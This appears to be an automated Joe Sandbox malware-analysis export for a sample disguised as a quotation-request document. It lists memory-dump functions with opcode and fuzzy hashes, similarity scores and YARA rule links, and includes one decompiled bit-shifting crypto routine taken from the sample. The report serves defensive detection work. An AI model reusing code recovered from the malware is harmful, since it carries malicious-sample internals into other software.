Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0e63488a184462269ce45f654a29629725a7c8d437374f9165fc5a11b2d9f21
Instruction ID: 9a89d2b70066920f2067e81fb53630c790a31eab7f83b2b1143ad57cbb9d1345
Opcode Fuzzy Hash: a0e63488a184462269ce45f654a29629725a7c8d437374f9165fc5a11b2d9f21
Instruction Fuzzy Hash: 53419D325083169ED311DF68D941AABB7E9FF88B54F00492EFA94D7250E730DE458BA3

Uniqueness

Uniqueness Score: -1.00%

Function 00ADD466, Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7189b0d8a8713352a7f9ec223e364a6fa55aa4aca3674ebf76cec7f87912cb24
Instruction ID: 74f8538f45e8d684baf653a0a96f24c055622cf949442ce2f117e6f0d649fad5
Opcode Fuzzy Hash: 7189b0d8a8713352a7f9ec223e364a6fa55aa4aca3674ebf76cec7f87912cb24
Instruction Fuzzy Hash: 73415071A001299BCB14DFA9D881ABEB7F5FF88314B15426AE816E7350DB70AD45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A19450, Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fdd712a2fa0cfcb15263e76a605d83d9ed9224d7ed9c5f299158a8fb8885060
Instruction ID: 0200e30e5c7ff94e8d3b6d4b1b038676ceb765b91d38b2294d3cac891dd6811c
Opcode Fuzzy Hash: 3fdd712a2fa0cfcb15263e76a605d83d9ed9224d7ed9c5f299158a8fb8885060
Instruction Fuzzy Hash: 3C415932E002159BCF20DF6988A0BFB73B1EB54724F26C06AF9499F241D6359F81E391

Uniqueness

Uniqueness Score: -1.00%

Function 00A20100, Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2232f10118ac668c9b621413afc875e12e8332f68a90a4814e2dc3498e77954b
Instruction ID: 17e4da67e892d0743c02c7bbde7d1db47888e207146bd29ab320d13db393d1ba
Opcode Fuzzy Hash: 2232f10118ac668c9b621413afc875e12e8332f68a90a4814e2dc3498e77954b
Instruction Fuzzy Hash: CF41CC31A44224DFCF11DF68DD95BEA7BB1BF28314F548365E811AB2A3D7348960CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A28A0A, Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 332b3b11ba5415a7e5bc29e6d7283069ec3e4ef907076b6fd39dd8b54d6d25d4
Instruction ID: 67f0b44c1a0252e684438f7d04023dfcabcf1e6f034020fa8b5315007f03d90b
Opcode Fuzzy Hash: 332b3b11ba5415a7e5bc29e6d7283069ec3e4ef907076b6fd39dd8b54d6d25d4
Instruction Fuzzy Hash: 0B417FB5A0123C9BDB24CF19DC88AA9B3F4FB54340F1145EAE81997242EF749E84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00ADAA16, Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 702fa5d1d049179799b5169bcec1b3622bc185bb93763a62bdaaaa196ea10277
Instruction ID: cbeb5bee6fdbdc638312910a573766f2c56dda22c46d53498796e1bbc6f3d075
Opcode Fuzzy Hash: 702fa5d1d049179799b5169bcec1b3622bc185bb93763a62bdaaaa196ea10277
Instruction Fuzzy Hash: 93310032F002086BDB158B69C946BAFF7BAEF91350F15806BE806A7392DB74CD02C651

Uniqueness

Uniqueness Score: -1.00%

Function 00A499BC, Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c190e486b414b8f14f6c5f63e86a3469944b4c3b6f45edbcd44891654c82931
Instruction ID: afbe35632e1b49096a0ede26a6b7f061b5719fd6d7c80eb1dd9fa9b25f348af2
Opcode Fuzzy Hash: 0c190e486b414b8f14f6c5f63e86a3469944b4c3b6f45edbcd44891654c82931
Instruction Fuzzy Hash: 8E41D2B4501700CFCB61EF24CA41B6BB7F5FF94354F2582A9E0469B6A1DB309E82CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00AE22AE, Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d87a96f5effe9d6993fca29b8aeaf355f43c1f8b85f13169ccbf25d69e613b00
Instruction ID: ce098c195eabe38dd11bc2b6eb33f71364b20f63643ba7ca82ecf34595966f07
Opcode Fuzzy Hash: d87a96f5effe9d6993fca29b8aeaf355f43c1f8b85f13169ccbf25d69e613b00
Instruction Fuzzy Hash: D24105711043424BC308DF29C8A5ABABBE5EF95325F05865DF4E58B2C2CB34D819CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00AE20A8, Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75aa378d75d9798ded43c447c97e2d5ccf61c1d823992b54a7997d57c3db40cd
Instruction ID: 9562a7abf43f1e5382efdf0239c658aadad1965495e8dc2f78b5dbb73e0bbcfa
Opcode Fuzzy Hash: 75aa378d75d9798ded43c447c97e2d5ccf61c1d823992b54a7997d57c3db40cd
Instruction Fuzzy Hash: 9241B133E0006A8BCB18DF69C89167AB3F5FF4830575642BDD815AB291DF34AE51CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A17B70, Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c11145761b422f1656ef3871ab6016bffd94e7e8f66e5ee018c68b6b9974b07
Instruction ID: 64042394edba9a6e887f225f060a6ad82c854e3b513df27c1b67b11766331552
Opcode Fuzzy Hash: 2c11145761b422f1656ef3871ab6016bffd94e7e8f66e5ee018c68b6b9974b07
Instruction Fuzzy Hash: 0D318D3020C2058ADF249F29CD41BEE33BAEB91358F24A42AE8178B251DB31DDC1C756

Uniqueness

Uniqueness Score: -1.00%

Function 00AE2D07, Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0a02a09e93b928a6c926fd0a4706c3b26f08a058e39a48e39a3e2583e6fbbe8
Instruction ID: 94506fcec85eae96bdb5ef664b23eab9fb75427e5bbde5e46273df902596bd3f
Opcode Fuzzy Hash: c0a02a09e93b928a6c926fd0a4706c3b26f08a058e39a48e39a3e2583e6fbbe8
Instruction Fuzzy Hash: FF412A715001A54FC705CB6AC8A47FABFF5EF85301B0A81E6E8C5DB246DA38C956C770

Uniqueness

Uniqueness Score: -1.00%

Function 00ADEA55, Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction ID: 9441787262827918fd0f9ad0eac67aaf97647611574f03f519294d16c92b2299
Opcode Fuzzy Hash: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction Fuzzy Hash: C931A1726047059FC719EF28C981A6BB7AAFBC4750F04892EF5578B741DA30E805CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A2B433, Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ce7baec8dd61d033a2283f6c29e1c0cbcb02c42f85a1c7a17e92119e31cdb3b
Instruction ID: 0b7756aaa5295eed22c943811338ec21e6bbf8deae49538ebaab4e19ae280b9b
Opcode Fuzzy Hash: 9ce7baec8dd61d033a2283f6c29e1c0cbcb02c42f85a1c7a17e92119e31cdb3b
Instruction Fuzzy Hash: CF410432A00654AFDB11DBACDC80BDEBBB9AF10340F1481B6F45897352C774AD84CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A969A6, Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7442662569f4d5786df97bf4a91b5a95696be2808cb323a3e98939873d4563e9
Instruction ID: acdb67900758baf49d6af369bab533bf07153994e7a74a3322cd2d5679bfcf82
Opcode Fuzzy Hash: 7442662569f4d5786df97bf4a91b5a95696be2808cb323a3e98939873d4563e9
Instruction Fuzzy Hash: 4F41AEB1E00208AFDB14DFA5DA41BFEBBF4FF48714F14812AE914A7291EB749905CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00401030, Relevance: .1, Instructions: 108
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00401030(signed char* __eax) {
				signed char* _t37;
				unsigned int _t65;
				unsigned int _t73;
				unsigned int _t81;
				unsigned int _t88;
				signed char _t94;
				signed char _t97;
				signed char _t100;

				_t37 = __eax;
				_t65 = ((((__eax[0xc] & 0x000000ff) << 0x00000008 | __eax[0xd] & 0x000000ff) & 0x0000ffff) << 0x00000008 | __eax[0xe] & 0xff) << 0x00000007 | (__eax[0xf] & 0x000000ff) >> 0x00000001;
				_t94 = __eax[0xb];
				if((_t94 & 0x00000001) != 0) {
					_t65 = _t65 | 0x80000000;
				}
				_t37[0xc] = _t65 >> 0x18;
				_t37[0xf] = _t65;
				_t37[0xd] = _t65 >> 0x10;
				_t73 = ((((_t37[8] & 0x000000ff) << 0x00000008 | _t37[9] & 0x000000ff) & 0x0000ffff) << 0x00000008 | _t37[0xa] & 0xff) << 0x00000007 | (_t94 & 0x000000ff) >> 0x00000001;
				_t97 = _t37[7];
				_t37[0xe] = _t65 >> 8;
				if((_t97 & 0x00000001) != 0) {
					_t73 = _t73 | 0x80000000;
				}
				_t37[8] = _t73 >> 0x18;
				_t37[0xb] = _t73;
				_t37[9] = _t73 >> 0x10;
				_t81 = ((((_t37[4] & 0x000000ff) << 0x00000008 | _t37[5] & 0x000000ff) & 0x0000ffff) << 0x00000008 | _t37[6] & 0xff) << 0x00000007 | (_t97 & 0x000000ff) >> 0x00000001;
				_t100 = _t37[3];
				_t37[0xa] = _t73 >> 8;
				if((_t100 & 0x00000001) != 0) {
					_t81 = _t81 | 0x80000000;
				}
				_t37[4] = _t81 >> 0x18;
				_t37[7] = _t81;
				_t37[5] = _t81 >> 0x10;
				_t88 = (((_t37[1] & 0x000000ff) << 0x00000008 | _t37[2] & 0x000000ff) & 0x00ffffff | ( *_t37 & 0x000000ff) << 0x00000010) << 0x00000007 | (_t100 & 0x000000ff) >> 0x00000001;
				 *_t37 = _t88 >> 0x18;
				_t37[1] = _t88 >> 0x10;
				_t37[6] = _t81 >> 8;
				_t37[2] = _t88 >> 8;
				_t37[3] = _t88;
				return _t37;
			}

0x00401030
0x0040105b
0x0040105d
0x00401063
0x00401065
0x00401065
0x00401071
0x00401076
0x0040107c
0x004010ac
0x004010ae
0x004010b4
0x004010ba
0x004010bc
0x004010bc
0x004010cb
0x004010d0
0x004010d6
0x00401101
0x00401103
0x00401109
0x0040110f
0x00401111
0x00401111
0x00401120
0x00401128
0x0040112b
0x0040114f
0x00401156
0x0040115d
0x00401169
0x0040116c
0x0040116f
0x00401173

Memory Dump Source

Source File: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4f1a47e469db01a1eef6c7f2d5b49e19d955ffd97c7228385fc8c35807cfa85
Instruction ID: 9ce4faf4bd6c29c48d5e9242fd1ccb7de96948774e055271f7c113e60250bd75
Opcode Fuzzy Hash: a4f1a47e469db01a1eef6c7f2d5b49e19d955ffd97c7228385fc8c35807cfa85
Instruction Fuzzy Hash: 203180116596F10ED30E836D08BDA75AEC18E9720174EC2FEDADA6F2F3C0888408D3A5

Uniqueness

Uniqueness Score: -1.00%

Function 00A15210, Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 755179e1f1643d0febcc84f2d9cf05bf3ecef4bb7b3b65e7153af354b544d761
Instruction ID: 62c9f5121695c9873a8543bc9667fbf471c6f6668312a59dd6f14fe66127481b
Opcode Fuzzy Hash: 755179e1f1643d0febcc84f2d9cf05bf3ecef4bb7b3b65e7153af354b544d761
Instruction Fuzzy Hash: 20311632641B10EBC7329B68CD41FA677B5FF50720F20C62AF8594B1A2EB70ED40C690

Uniqueness

Uniqueness Score: -1.00%

Function 00ADCC77, Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0934259d2483c805f382410a368822472fbd06d1f8ba6ed77dd47bd0d85f3a95
Instruction ID: 00e9bc4c2fef6d7a0a6b67a6f17dbf1b6bd088c1d955cc4d2d3eab1b6d795ccc
Opcode Fuzzy Hash: 0934259d2483c805f382410a368822472fbd06d1f8ba6ed77dd47bd0d85f3a95
Instruction Fuzzy Hash: 4F31A171A002089FCB14CF69D9C6A9B7FE5FF49310B4584AAFD08DF246D670EA55CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A97016, Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41b700e0b242cbe34d01b9be0fbd48e9857f303497ce0f414a5b76ab44162ef6
Instruction ID: 1bee80123d2cfbc35b591cf1182e930a4b28dd5c31e2531025ef26b2e11d4c07
Opcode Fuzzy Hash: 41b700e0b242cbe34d01b9be0fbd48e9857f303497ce0f414a5b76ab44162ef6
Instruction Fuzzy Hash: 2A31A2726087519FC724DF68C981A6EB7E9BFC8700F144A29F89587691E730ED04CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00A3C182, Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction ID: 6910d977a5e1273b70dd5b7f569280a10650e65d1c08152255639605f495a036
Opcode Fuzzy Hash: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction Fuzzy Hash: 3A314871601586BFD704FBF4CA81BEAF765BF46310F14426AF41C57202DB386A59DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A18466, Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 578bd32dece346fcc9aae520be7c1244a65dda9246bb0bf05a08b9df90f76024
Instruction ID: 7995e7b1e627ddf1685d9824c3b7b5ad172b422515290d347c6505199d3c6dfb
Opcode Fuzzy Hash: 578bd32dece346fcc9aae520be7c1244a65dda9246bb0bf05a08b9df90f76024
Instruction Fuzzy Hash: EB31D571640701DFCB21DF29CA41B9AFBF9EF54B60F108469F9058B251DBB8E980CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A453C5, Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8117b21f14c2d3c3826712c824a95ff3caba28b017ee456efd8ef9376b929d27
Instruction ID: ba9a2aaca15ee999d871b73c6fdca8b7a8512ac6aad30bb811fa7f8751411f5a
Opcode Fuzzy Hash: 8117b21f14c2d3c3826712c824a95ff3caba28b017ee456efd8ef9376b929d27
Instruction Fuzzy Hash: 7341F731A08B448FDB31DFB8C5013AFBAF2AF91304F24052DD0966B742DB759945DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00A13880, Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba1a1a873c686f3960f852656b77af7c89e801dc245ff983e1090134a48af004
Instruction ID: fc448056e7c398cf4d5df41291074a89efa0caf7e0c80e5f6dc86537119461d3
Opcode Fuzzy Hash: ba1a1a873c686f3960f852656b77af7c89e801dc245ff983e1090134a48af004
Instruction Fuzzy Hash: 8231B132E01219AFDB20DFA9C941AEEB7F9EF48350F118566F919E7250D6709F40DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00ADA189, Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffb61ecca255dcead63ea4e1b5611ad20133aab96b6617c4e6cfbb2d8b6f615e
Instruction ID: 0dbc93a8fc8ae8945e7d2eb3022dbe0421ffcb28e9626141fb31f0a1784c95a4
Opcode Fuzzy Hash: ffb61ecca255dcead63ea4e1b5611ad20133aab96b6617c4e6cfbb2d8b6f615e
Instruction Fuzzy Hash: 5C31F472B00605ABCB219F99D941BAFBBB9AF64710F10006AF506DB3A1DA70DD008B91

Uniqueness

Uniqueness Score: -1.00%

Function 00A461A0, Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe47cbf932e794be6ec12af6a992ff291bbc3b3e7255032eeb52996b77c84580
Instruction ID: b7315ad3d590886ef879e7f1051db3569349b7282555e804f3b8845fa22abac6
Opcode Fuzzy Hash: fe47cbf932e794be6ec12af6a992ff291bbc3b3e7255032eeb52996b77c84580
Instruction Fuzzy Hash: E1316771A097018FD364DF19C940B2AB7E5FB88B00F25496DE9989B291E7B0EC04CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00A1AA16, Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d285b7763021b6d9bab4e1506def9cc08681cb80e09203acac6e27114876e859
Instruction ID: cf5d71b832b8dc847928d25622b526376567cdc9edf3490a9ba69df93b6f5ae3
Opcode Fuzzy Hash: d285b7763021b6d9bab4e1506def9cc08681cb80e09203acac6e27114876e859
Instruction Fuzzy Hash: 2B31F571A00219ABCF149F64CE82ABFB7B9FF48700F00806AF905E7151EB749D50DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A54A2C, Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72ec57931e6c27998f395884903a7eabd7e1175da3216d0ecbff06d68be3b170
Instruction ID: 5e364ad04f15970abaf228fe40870d09c09d4b8eb2c41e89da0eef627e031585
Opcode Fuzzy Hash: 72ec57931e6c27998f395884903a7eabd7e1175da3216d0ecbff06d68be3b170
Instruction Fuzzy Hash: 7E3152322413109FC760AF14CA41B2BBBE0FF88B49F014079F95607291DB70DC88CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00A178D6, Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9a6e3358202fe57e4d6c011c4744451192f56deb94866768f281c596d07d196
Instruction ID: 940df15b511ada551c8e0acbb2bd501ce8444475eed49ce3d210c6af2b1c9f54
Opcode Fuzzy Hash: e9a6e3358202fe57e4d6c011c4744451192f56deb94866768f281c596d07d196
Instruction Fuzzy Hash: 2A31E1B2604504AFD711DF18CD81B5ABBB9EB89710F2880A9B948CF242D635DD81DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A4BC2C, Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 517b40fc8ff336f17642ba474f287cf96554f5a52302edfd7e7ee35e57714a9e
Instruction ID: 01fe8b52b6293b2152991c2889d6815ed3f4e50964871d4c8f728f0c8654193b
Opcode Fuzzy Hash: 517b40fc8ff336f17642ba474f287cf96554f5a52302edfd7e7ee35e57714a9e
Instruction Fuzzy Hash: 0231F03AA106159FDB11DF58D8C1BA673B4FFA8311F1440B9ED44EB242EB74DD058BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A19100, Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a55c4b95c73e62a2eb2eebe7c442b2a2118a064aaf85cda8dbcb7a8b971edab1
Instruction ID: 60329549031a547ba119bcdb590608cc5e908375673c57d29943e4fd8c9ec3cd
Opcode Fuzzy Hash: a55c4b95c73e62a2eb2eebe7c442b2a2118a064aaf85cda8dbcb7a8b971edab1
Instruction Fuzzy Hash: 02313AB1A00286EFDB65DFA8C5987EEBBF1BF48350F198259D40867251C735AEC0CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00AE32A9, Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60e0f5296823db85c086cf7bb60942f7f72793f07bff340a521c923ff55b356c
Instruction ID: 45694d2dd1746e48b51a58be1ef17041b11d80e2f823b98f451c8ff07d7b993e
Opcode Fuzzy Hash: 60e0f5296823db85c086cf7bb60942f7f72793f07bff340a521c923ff55b356c
Instruction Fuzzy Hash: 142105336102824FDF28CF2AC888AB673A6EFA4300B958578D951CB191DB70EE85C790

Uniqueness

Uniqueness Score: -1.00%

Function 00A30050, Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff319cb01e7922a392caa0ecaa0257de5fc1044068efee0f9b816347b7b263f2
Instruction ID: 42866ecc31ea99ee76b4987d259d2b4a997d09dcee0723ee059c284b7f25b6ed
Opcode Fuzzy Hash: ff319cb01e7922a392caa0ecaa0257de5fc1044068efee0f9b816347b7b263f2
Instruction Fuzzy Hash: A2318931211B04CFD725CB28C995F9AB3E5FF89714F24856DE49A87AA0EB75AC01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A96C0A, Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f39f484b702b642cbaea0f8ee56d46ba27bf14526e121830ffb16580c1b16b4
